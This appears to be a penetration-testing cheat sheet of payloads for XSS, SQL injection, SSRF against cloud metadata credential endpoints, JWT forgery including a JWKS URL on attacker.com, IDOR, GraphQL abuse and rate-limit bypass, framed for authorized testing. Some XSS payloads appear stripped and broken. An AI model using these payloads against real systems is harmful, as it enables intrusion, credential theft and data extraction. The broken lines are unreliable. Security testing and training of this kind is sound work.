# Attack Patterns Reference Safe, non-destructive test payloads and detection patterns for authorized security testing. All techniques here are for use in authorized penetration tests, CTF challenges, and defensive research only. --- ## XSS Test Payloads ### Reflected XSS These payloads test whether user input is reflected in HTTP responses without proper encoding. Use in search fields, URL parameters, form inputs, and HTTP headers. **Basic payloads:** ``` "> '>
``` **Filter bypass payloads:** ``` ipt>alert(document.domain)ipt> javascript:alert(document.domain)// ``` **URL encoding payloads:** ``` %3Cscript%3Ealert(document.domain)%3C/script%3E %3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E ``` **Context-specific payloads:** Inside HTML attribute: ``` " onmouseover="alert(document.domain) ' onfocus='alert(document.domain)' autofocus=' ``` Inside JavaScript string: ``` ';alert(document.domain);// \';alert(document.domain);// ``` Inside CSS: ``` expression(alert(document.domain)) url(javascript:alert(document.domain)) ``` ### Stored XSS Test these in persistent fields: user profiles, comments, forum posts, file upload names, chat messages. ``` click me ``` ### DOM-Based XSS Look for JavaScript that reads from these sources and writes to dangerous sinks: **Sources** (attacker-controlled input): ``` document.location document.location.hash document.location.search document.referrer window.name document.cookie localStorage / sessionStorage postMessage data ``` **Sinks** (dangerous output): ``` element.innerHTML element.outerHTML document.write() document.writeln() eval() setTimeout(string) setInterval(string) new Function(string) element.setAttribute("onclick", ...) location.href = ... location.assign(...) ``` **Detection pattern:** Search for any code path where a Source flows into a Sink without sanitization. --- ## SQL Injection Detection Patterns ### Detection Payloads **Error-based detection:** ``` ' -- Single quote triggers SQL error " -- Double quote \ -- Backslash ' OR '1'='1 -- Boolean true ' OR '1'='2 -- Boolean false (compare responses) ' AND 1=1-- -- Boolean true with comment ' AND 1=2-- -- Boolean false (compare responses) 1 OR 1=1 -- Numeric injection 1 AND 1=2 -- Numeric false ``` **Union-based enumeration** (authorized testing only): ```sql -- Step 1: Find column count ' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- -- Increment until error ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- -- Match column count -- Step 2: Find displayable columns ' UNION SELECT 'a',NULL,NULL-- ' UNION SELECT NULL,'a',NULL-- -- Step 3: Extract database info ' UNION SELECT version(),NULL,NULL-- ' UNION SELECT table_name,NULL,NULL FROM information_schema.tables-- ' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- ``` **Time-based blind injection:** ```sql -- MySQL ' AND SLEEP(5)-- ' AND IF(1=1, SLEEP(5), 0)-- ' AND IF(SUBSTRING(version(),1,1)='5', SLEEP(5), 0)-- -- PostgreSQL ' AND pg_sleep(5)-- '; SELECT pg_sleep(5)-- ' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -- MSSQL '; WAITFOR DELAY '0:0:5'-- ' AND 1=(SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)-- ``` **Boolean-based blind injection:** ```sql -- Extract data one character at a time ' AND SUBSTRING(username,1,1)='a'-- ' AND ASCII(SUBSTRING(username,1,1))>96-- ' AND ASCII(SUBSTRING(username,1,1))>109-- -- Binary search ``` ### Database-Specific Syntax | Feature | MySQL | PostgreSQL | MSSQL | SQLite | |---------|-------|------------|-------|--------| | String concat | `CONCAT('a','b')` | `'a' \|\| 'b'` | `'a' + 'b'` | `'a' \|\| 'b'` | | Comment | `-- ` or `#` | `--` | `--` | `--` | | Version | `VERSION()` | `version()` | `@@version` | `sqlite_version()` | | Current user | `CURRENT_USER()` | `current_user` | `SYSTEM_USER` | N/A | | Sleep | `SLEEP(5)` | `pg_sleep(5)` | `WAITFOR DELAY '0:0:5'` | N/A | --- ## SSRF Detection Techniques ### Basic Payloads ``` http://127.0.0.1 http://localhost http://0.0.0.0 http://[::1] -- IPv6 localhost http://[0000::1] -- IPv6 localhost (expanded) ``` ### Cloud Metadata Endpoints ``` # AWS EC2 Metadata (IMDSv1) http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/user-data # AWS EC2 Metadata (IMDSv2 — requires token header) # Step 1: curl -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -X PUT http://169.254.169.254/latest/api/token # Step 2: curl -H "X-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/ # GCP Metadata http://metadata.google.internal/computeMetadata/v1/ http://169.254.169.254/computeMetadata/v1/ # Azure Metadata http://169.254.169.254/metadata/instance?api-version=2021-02-01 http://169.254.169.254/metadata/identity/oauth2/token # DigitalOcean Metadata http://169.254.169.254/metadata/v1/ ``` ### Bypass Techniques **IP encoding tricks:** ``` http://0x7f000001 -- Hex encoding of 127.0.0.1 http://2130706433 -- Decimal encoding of 127.0.0.1 http://0177.0.0.1 -- Octal encoding http://127.1 -- Shortened http://127.0.0.1.nip.io -- DNS rebinding via nip.io ``` **URL parsing inconsistencies:** ``` http://127.0.0.1@evil.com -- URL authority confusion http://evil.com#@127.0.0.1 -- Fragment confusion http://127.0.0.1%00@evil.com -- Null byte injection http://evil.com\@127.0.0.1 -- Backslash confusion ``` **Redirect chains:** ``` # If the app follows redirects, find an open redirect first: https://target.com/redirect?url=http://169.254.169.254/ ``` --- ## JWT Manipulation Patterns ### Decode Without Verification JWTs are Base64URL-encoded and can be decoded without the secret: ```bash # Decode header echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d # Output: {"alg":"HS256"} # Decode payload echo "eyJ1c2VyIjoiYWRtaW4ifQ" | base64 -d # Output: {"user":"admin"} ``` ### Algorithm Confusion Attacks **None algorithm attack:** ```json // Original header {"alg": "HS256", "typ": "JWT"} // Modified header — set algorithm to none {"alg": "none", "typ": "JWT"} // Token format: header.payload. (empty signature) ``` **RS256 to HS256 confusion:** If the server uses RS256 (asymmetric), try: 1. Get the server's RSA public key (from JWKS endpoint or TLS certificate) 2. Change `alg` to `HS256` 3. Sign the token using the RSA public key as the HMAC secret 4. If the server naively uses the configured key for both algorithms, it will verify the HMAC with the public key ### Claim Manipulation ```json // Common claims to modify: { "sub": "1234567890", // Change to another user's ID "role": "admin", // Escalate from "user" to "admin" "is_admin": true, // Toggle admin flag "exp": 9999999999, // Extend expiration far into the future "aud": "admin-api", // Change audience "iss": "trusted-issuer" // Spoof issuer } ``` ### Weak Secret Brute Force Common JWT secrets to try (if you have a valid token to test against): ``` secret password 123456 your-256-bit-secret jwt_secret changeme mysecretkey HS256-secret ``` Use tools like `jwt-cracker` or `hashcat -m 16500` for dictionary attacks. ### JWKS Injection If the server fetches keys from a JWKS URL in the JWT header: ```json { "alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json" } ``` Host your own JWKS with a key pair you control. --- ## API Authorization Testing (IDOR, BOLA) ### IDOR Testing Methodology **Step 1: Identify resource identifiers** Map all API endpoints and find parameters that reference resources: ``` GET /api/users/{id}/profile GET /api/orders/{orderId} GET /api/documents/{docId}/download PUT /api/users/{id}/settings DELETE /api/comments/{commentId} ``` **Step 2: Create two test accounts** - User A (attacker) and User B (victim) - Authenticate as both and capture their tokens **Step 3: Cross-account access testing** Using User A's token, request User B's resources: ``` # Read GET /api/users/{B_id}/profile → Should be 403 GET /api/orders/{B_orderId} → Should be 403 # Write PUT /api/users/{B_id}/settings → Should be 403 PATCH /api/orders/{B_orderId} → Should be 403 # Delete DELETE /api/comments/{B_commentId} → Should be 403 ``` **Step 4: ID manipulation** ``` # Sequential IDs — increment/decrement /api/users/100 → /api/users/101 # UUID prediction — not practical, but test for leaked UUIDs # Check if UUIDs appear in other responses # Encoded IDs — decode and modify /api/users/MTAw → base64 decode = "100" → encode "101" = MTAx # Hash-based IDs — check for predictable hashing /api/users/md5(email) → compute md5 of known emails ``` ### BFLA (Broken Function Level Authorization) Test access to administrative functions: ``` # As regular user, try admin endpoints: POST /api/admin/users → 403 DELETE /api/admin/users/123 → 403 PUT /api/admin/settings → 403 GET /api/admin/reports → 403 POST /api/admin/impersonate/user123 → 403 # Try HTTP method override: GET /api/admin/users with X-HTTP-Method-Override: DELETE POST /api/admin/users with _method=DELETE ``` ### Mass Assignment Testing ```json // Normal user update request: PUT /api/users/profile { "name": "Normal User", "email": "user@test.com" } // Mass assignment attempt — add privileged fields: PUT /api/users/profile { "name": "Normal User", "email": "user@test.com", "role": "admin", "is_verified": true, "is_admin": true, "balance": 99999, "subscription": "enterprise", "permissions": ["admin", "superadmin"] } // Then check if any extra fields were persisted: GET /api/users/profile ``` --- ## GraphQL Security Testing Patterns ### Introspection Query Use this to map the entire schema (should be disabled in production): ```graphql { __schema { queryType { name } mutationType { name } types { name kind fields { name type { name kind ofType { name kind } } args { name type { name } } } } } } ``` ### Query Depth Attack Nested queries can cause exponential resource consumption: ```graphql { users { friends { friends { friends { friends { friends { friends { name } } } } } } } } ``` **Mitigation check:** Server should return an error like "Query depth exceeds maximum allowed depth." ### Query Complexity Attack Wide queries with aliases: ```graphql { a: users(limit: 1000) { name email } b: users(limit: 1000) { name email } c: users(limit: 1000) { name email } d: users(limit: 1000) { name email } e: users(limit: 1000) { name email } } ``` ### Batch Query Attack Send multiple operations in a single request to bypass rate limiting: ```json [ {"query": "mutation { login(user:\"admin\", pass:\"pass1\") { token } }"}, {"query": "mutation { login(user:\"admin\", pass:\"pass2\") { token } }"}, {"query": "mutation { login(user:\"admin\", pass:\"pass3\") { token } }"}, {"query": "mutation { login(user:\"admin\", pass:\"pass4\") { token } }"}, {"query": "mutation { login(user:\"admin\", pass:\"pass5\") { token } }"} ] ``` ### Field Suggestion Exploitation GraphQL often suggests similar field names on typos: ```graphql { users { passwor } } # Response: "Did you mean 'password'?" ``` Use this to discover hidden fields without full introspection. ### Authorization Bypass via Fragments ```graphql query { publicUser(id: 1) { name ...on User { email # Should be restricted ssn # Should be restricted creditCard # Should be restricted } } } ``` --- ## Rate Limiting Bypass Techniques These techniques help verify that rate limiting is robust during authorized testing: ``` # IP rotation — test if rate limiting is per-IP only X-Forwarded-For: 1.2.3.4 X-Real-IP: 1.2.3.4 X-Originating-IP: 1.2.3.4 # Case variation — test if endpoints are case-sensitive /api/login /API/LOGIN /Api/Login # Path variation /api/login /api/login/ /api/./login /api/login?dummy=1 # HTTP method variation POST /api/login PUT /api/login # Unicode encoding /api/logi%6E ``` If any of these bypass rate limiting, the implementation needs hardening.